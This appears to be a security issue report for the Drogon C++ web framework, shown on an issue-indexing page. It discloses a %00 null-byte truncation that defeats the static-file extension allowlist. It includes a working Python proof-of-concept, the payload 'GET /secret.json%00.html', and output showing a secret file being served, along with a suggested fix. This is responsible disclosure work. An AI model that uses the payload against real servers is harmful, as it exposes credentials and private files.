drogonframework / drogonframework/drogon

[Security] Null-byte (%00) truncation in StaticFileRouter defeats the file-type allowlist (file disclosure)

Open
#2,591 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
C++
Stars
14.3k
Forks
1.4k
Avg merge
1d 13h
Merged PRs (30d)
14

Description

**Describe the bug**

A `%00` (NUL) byte in the request path defeats the static-file type allowlist and allows an
unauthenticated client to read any file under the server's document root, regardless of its
extension. This works in the default configuration with no routers/locations registered.

Root cause (verified on master @ `da0f506`):

1. `HttpRequestImpl::setPath()` (`lib/src/HttpRequestImpl.h:160-168`) URL-decodes the
request-line path whenever it contains `%` (`utils::needUrlDecoding`), and stores the
decoded string verbatim. Nothing rejects `%00` after decoding, so `path_` may embed a NUL
byte.
2. The default static-file branch of `StaticFileRouter` (`lib/src/StaticFileRouter.cc`)
performs the two security-relevant operations on **different effective strings**:
- the file-type allowlist check uses the **full decoded path** — `path.rfind('.')`
(`:263`) plus `lPath.substr(pos + 1)` (`:270`), so the part *after* the NUL is visible
to the allowlist and must end in a whitelisted extension (default:
html/js/css/xml/xsl/txt/svg/ttf/otf/woff2/woff/eot/png/jpg/jpeg/gif/bmp/ico/icns);
- the actual file operation (`stat` / `std::ifstream` via
`sendStaticFileResponse`) treats the path as a C string and therefore **truncates at the
embedded NUL**, opening the file named by the *prefix*.

So `GET /secret.json%00.html` serves `secret.json` (any extension) while the allowlist
approves `.html`. The response is a normal 200 with static-file headers
(`content-type: text/html; charset=utf-8`), so it looks like a legitimate asset.

**To Reproduce**

Environment used: Linux x86-64, Ubuntu 22.04, clang++ 22.1.4 (ASan/UBSan build), drogon
master @ `da0f506` (1.9.13-dev), default framework configuration (listener `127.0.0.1:8848`,
document root `./`, no custom locations).

Steps:

```sh
# 1. Build the helloworld example (part of the repo's examples/)
git clone https://github.com/drogonframework/drogon.git && cd drogon
mkdir build && cd build && cmake .. && make helloworld -j$(nproc)
# binary: build/examples/bin/helloworld

# 2. Prepare a document root containing a non-whitelisted secret file
mkdir /tmp/rt && cd /tmp/rt
printf '{"api_key":"SECRET-0123456789","db_password":"hunter2"}\n' > secret.json

# 3. Run the server with document root = current directory
/path/to/helloworld & # listens on 127.0.0.1:8848, serves ./
```

```python
# 4. Send the requests (no attachments needed — run this small script)
import socket
def get(path: str) -> bytes:
s = socket.create_connection(("127.0.0.1", 8848), timeout=3)
s.sendall(f"GET {path} HTTP/1.1\r\nHost: h\r\nConnection: close\r\n\r\n".encode())
s.settimeout(5)
data = b""
while True:
c = s.recv(65536)
if not c: break
data += c
s.close()
return data

for p in ["/secret.json%00.html", "/secret.json",
"/secret.json.html", "/nonexistent.json%00.html"]:
r = get(p)
print(p, "->", r.split(b"\r\n", 1)[0].decode(), "| body-tail:", r.split(b"\r\n\r\n",1)[1][-48:])
```

Observed results (this run):

| Request | Response | Body (tail) |
|---|---|---|
| `GET /secret.json%00.html` | **`HTTP/1.1 200 OK`** | `{"api_key":"SECRET-0123456789","db_password":"hunter2"}` |
| `GET /secret.json` (control) | `HTTP/1.1 404 Not Found` | — (`.json` not allowlisted; the control the bypass defeats) |
| `GET /secret.json.html` (control) | `HTTP/1.1 404 Not Found` | — (without the NUL the suffixed name does not exist) |
| `GET /nonexistent.json%00.html` (control) | `HTTP/1.1 404 Not Found` | — (the truncated prefix must exist) |

The 200-carrying body is byte-identical to `secret.json`, confirming the arbitrary file read.
The NUL byte is invisible to the allowlist, so otherwise-inaccessible files are served as
allowlisted assets. The `..`-depth check (commit `b8d820fc` / PR #901, 2021) is unrelated to
this variant — no `..` is used.

**Expected behavior**
Either a 403/404 for the request, or at minimum a consistent treatment: the same decoded
string should be used for both the allowlist decision and the file operation, and NUL bytes
should be rejected at the decoding choke point. A file whose real extension is not in the
allowlist must not be served.

**Screenshots**

Not applicable (server-side issue); console output is shown in "To Reproduce" above.

**Desktop (please complete the following information):**

- OS: Ubuntu 22.04.5 LTS (x86-64)
- Drogon version: 1.9.13-dev (master @ `da0f506999695692ab5826aabc25178efca6ea56`), clang 22.1.4 build

**Additional context**

- Severity (proposed): High — effect of CWE-22 (arbitrary file read under document root,
unauthenticated, default configuration); root cause CWE-172/178 (encoding/whitespace
error). Default document root `./` makes every file in the server working directory
(config files, SQLite/leveldb databases, sources, `.git` objects) readable; an operator-set
document root is readable the same way with a fake allowed extension appended.
- Suggested fix: reject NUL (`\x00`) in `setPath`/`urlDecode` (single choke point), and/or
derive the extension for the allowlist check from the same C-string-truncated path that
`stat`/`ifstream` will use.

Contributor guide

Open the contributing guide

Research direction

Start with HttpRequestImpl::setPath() in lib/src/HttpRequestImpl.h and the default static-file branch in lib/src/StaticFileRouter.cc; reproduce the request against the examples/bin/helloworld entry point using the supplied script. Done means NUL-containing paths are rejected or handled consistently, non-allowlisted files are not served, and the supplied controls still behave as expected.

Written by the indexing model from the issue text.

Assessment

Tech stack
cpp
Domain
backend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
55/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.